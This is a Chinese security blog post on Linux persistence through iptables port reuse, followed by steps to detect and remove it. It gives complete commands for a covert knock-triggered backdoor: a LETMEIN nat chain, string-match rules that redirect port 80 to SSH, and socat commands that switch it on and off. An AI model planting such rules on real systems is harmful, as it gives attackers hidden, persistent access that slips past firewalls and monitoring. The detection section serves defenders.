Linux持久化—IPTables 端口复用

admin 2023年12月11日16:36:58评论26 views字数 2665阅读8分53秒阅读模式

Linux持久化—IPTables 端口复用

Tips +1

Linux持久化—IPTables 端口复用


实现原理

iptables 是 Linux 操作系统中用于配置和管理网络规则的工具,而端口复用则是一种网络技术,允许多个网络应用程序共享同一个端口。那么在网络攻防中,攻击者可以使用端口复用技术来实现权限持久化,从一定程度上规避防火墙及其防护人员的检测。

  1. 防火墙规避: 端口复用可以帮助攻击者规避防火墙和入侵检测系统,因为它使得攻击者能够持续使用相同的端口,而不会频繁地打开和关闭端口,从而减少了被检测到的风险。

  2. 隐藏攻击活动: 通过将恶意活动与合法网络流量混在一起,攻击者可以更容易地隐藏其攻击。端口复用使得恶意流量看起来像是正常的流量,降低了被检测的概率。

  3. 持久性访问: 一旦攻击者成功地在目标系统上实现了端口复用,他们可以随时通过这个持久的访问点回到系统,而无需重新入侵。这为攻击者提供了持续监视、数据窃取或后续攻击的机会。

  4. 端口扫描规避: 攻击者可以使用端口复用来规避一些防御措施,如入侵检测系统对于频繁端口扫描的监测。由于端口复用允许攻击者一直使用相同的端口,而无需频繁地打开新的端口,这降低了被侦测到的风险。

操作步骤

利用前提

前提:在使用 iptables 进行端口转发之前,你需要确保 Linux 系统上已经启用了 IP 转发功能。

1、检查当前的 IP 转发状态,如果输出为 net.ipv4.ip_forward = 0,表示 IP 转发功能被禁用。

sysctl net.ipv4.ip_forward

2、可以使用 sysctl 命令修改内核参数来启用 IP 转发,但这种设置是临时的,在系统重启后会失效。

sudo sysctl -w net.ipv4.ip_forward=1

3、设置永久可以编辑 /etc/sysctl.conf 文件,并确保以下行存在且没有被注释:

net.ipv4.ip_forward=1
保存文件后,执行以下命令使更改生效:
sudo sysctl -p

利用步骤

被攻击端

Linux持久化—IPTables 端口复用

1、先创建一个端口复用链子 LETMEIN

iptables -t nat -N LETMEIN

2、创建一个端口复用规则,用于将主机接收的 80 端口流量转发至 22 端口:

iptables -t nat  -A LETMEIN -p tcp -j REDIRECT --to-port 22

3、设置一个开启开关,允许通过 TCP 协议传输的数据包中包含字符串 'threathuntercoming' 的流量,并将符合条件的源 IP 地址添加到名为 "letmein" 的 recent 集合中。

iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT

4、设置一个关闭开关,包含特定字符串 'threathunterleaving' 的 TCP 数据包,并从名为 "letmein" 的 recent 集合中移除这些数据包的源 IP 地址。

iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT

5、对于到达主机的目标端口为 80 的 TCP SYN 包,检查源 IP 地址是否在 "letmein" 集合中,并且在最近的 3600 秒内已经加入。如果满足这些条件,将数据包跳转到 "LETMEIN" 链进行后续处理。

iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

攻击端

1、开启复用

使用 socat 工具,将字符串 "threathuntercoming" 发送到 IP 地址为 172.23.119.149,端口号为 80 的目标主机。触发iptables规则开启复用。

echo threathuntercoming | socat - tcp:172.23.119.149:80

2、ssh使用80端口进行登录

ssh -p 80 [email protected]

Linux持久化—IPTables 端口复用

3、关闭复用

使用 socat 工具,将字符串 "threathunterleaving" 发送到 IP 地址为 172.23.119.149,端口号为 80 的目标主机。触发iptables规则关闭复用。

echo threathunterleaving | socat - tcp:172.23.119.149

如何排查

1、查看ssh 登录进程

Linux持久化—IPTables 端口复用

2、排查iptables规则

1、查看是否开启转发规则:sysctl net.ipv4.ip_forward
2、显示 INPUT、OUTPUT 和 FORWARD 链上的规则。参数 -n 确保以数字形式显示端口,-v 提供更详细的信息。
iptables -L -n -v
3、查看 nat 表规则,
iptables -t nat -L -n -v
列出 nat 表的规则,它通常用于网络地址转换。
4、查看 mangle 表规则:
iptables -t mangle -L -n -v
列出 mangle 表的规则,这个表用于修改数据包的 TOS/DSCP 字段等。

Linux持久化—IPTables 端口复用

Linux持久化—IPTables 端口复用

3、查看连接追踪信息:

查看iptables当前的连接追踪信息和连接状态。

sudo cat /proc/net/nf_conntrack

Linux持久化—IPTables 端口复用

4、实施网络监测: 使用网络监测工具来检测异常流量模式,特别是与已知攻击模式不一致的流量。

5、定期审查防火墙规则: 定期审查和更新防火墙规则,确保只有必要的端口是打开的,并且不允许不必要的流量通过。

6、入侵检测系统: 部署入侵检测系统来监视系统中的异常行为和模式,及时发现潜在的攻击。

7、删除iptables 规则

查看当前的 iptables 规则:
sudo iptables -L -n --line-numbers
使用 iptables -D 命令来删除指定行号的规则,INPUT 为相应的链名称
sudo iptables -D INPUT 2
查看当前的 nat 表中的链:
sudo iptables -t nat -L -n --line-numbers
列出当前 nat 表中的链,并显示行号,以便你知道要删除的链的名称
删除指定名称的链,xxxx替换为你要删除的链的名称。
iptables -t nat -X xxxx
iptables -t nat -F xxxx

Linux持久化—IPTables 端口复用

Linux持久化—IPTables 端口复用

Linux持久化—IPTables 端口复用

【数量有限,有需要的可使用。不满意的三天内随时可退!】

Linux持久化—IPTables 端口复用

                                        

End


“点赞、在看与分享都是莫大的支持”



Linux持久化—IPTables 端口复用


原文始发于微信公众号(贝雷帽SEC):Linux持久化—IPTables 端口复用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月11日16:36:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux持久化—IPTables 端口复用http://cn-sec.com/archives/2276196.html

发表评论

匿名网友 填写信息